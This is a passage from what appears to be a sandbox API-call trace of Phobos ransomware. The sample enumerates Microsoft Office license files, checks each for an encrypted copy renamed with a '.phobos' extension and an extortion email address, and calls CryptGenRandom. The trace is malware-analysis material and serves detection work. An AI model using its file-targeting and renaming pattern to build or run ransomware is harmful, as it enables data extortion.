| out: lpFileSize=0x3fdfb48*=11646) returned 1 [0152.745] CloseHandle (hObject=0x580) returned 1 [0152.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 0x220 [0152.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.745] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.746] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11195) returned 1 [0152.746] CloseHandle (hObject=0x580) returned 1 [0152.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 0x220 [0152.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.747] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.747] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=28261) returned 1 [0152.747] CloseHandle (hObject=0x580) returned 1 [0152.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 0x220 [0152.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.748] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.749] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11646) returned 1 [0152.749] CloseHandle (hObject=0x580) returned 1 [0152.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0152.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.753] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.754] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11195) returned 1 [0152.754] CloseHandle (hObject=0x580) returned 1 [0152.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 0x220 [0152.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.754] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.755] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=28261) returned 1 [0152.755] CloseHandle (hObject=0x580) returned 1 [0152.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms")) returned 0x220 [0152.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.756] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.756] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11646) returned 1 [0152.756] CloseHandle (hObject=0x580) returned 1 [0152.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0152.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.757] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.758] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11195) returned 1 [0152.758] CloseHandle (hObject=0x580) returned 1 [0152.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 0x220 [0152.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.758] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.759] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=28261) returned 1 [0152.759] CloseHandle (hObject=0x580) returned 1 [0152.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms")) returned 0x220 [0152.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.760] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.760] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11646) returned 1 [0152.760] CloseHandle (hObject=0x580) returned 1 [0152.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms")) returned 0x220 [0152.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.761] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.761] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11179) returned 1 [0152.761] CloseHandle (hObject=0x580) returned 1 [0152.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 0x220 [0152.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.890] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.927] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24369) returned 1 [0152.928] CloseHandle (hObject=0x580) returned 1 [0152.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms")) returned 0x220 [0152.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.928] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.928] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.929] CloseHandle (hObject=0x580) returned 1 [0152.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms")) returned 0x220 [0152.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.929] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.930] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23843) returned 1 [0152.930] CloseHandle (hObject=0x580) returned 1 [0152.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms")) returned 0x220 [0152.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.930] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.930] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11655) returned 1 [0152.931] CloseHandle (hObject=0x580) returned 1 [0152.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0152.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.931] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.931] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11199) returned 1 [0152.932] CloseHandle (hObject=0x580) returned 1 [0152.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft 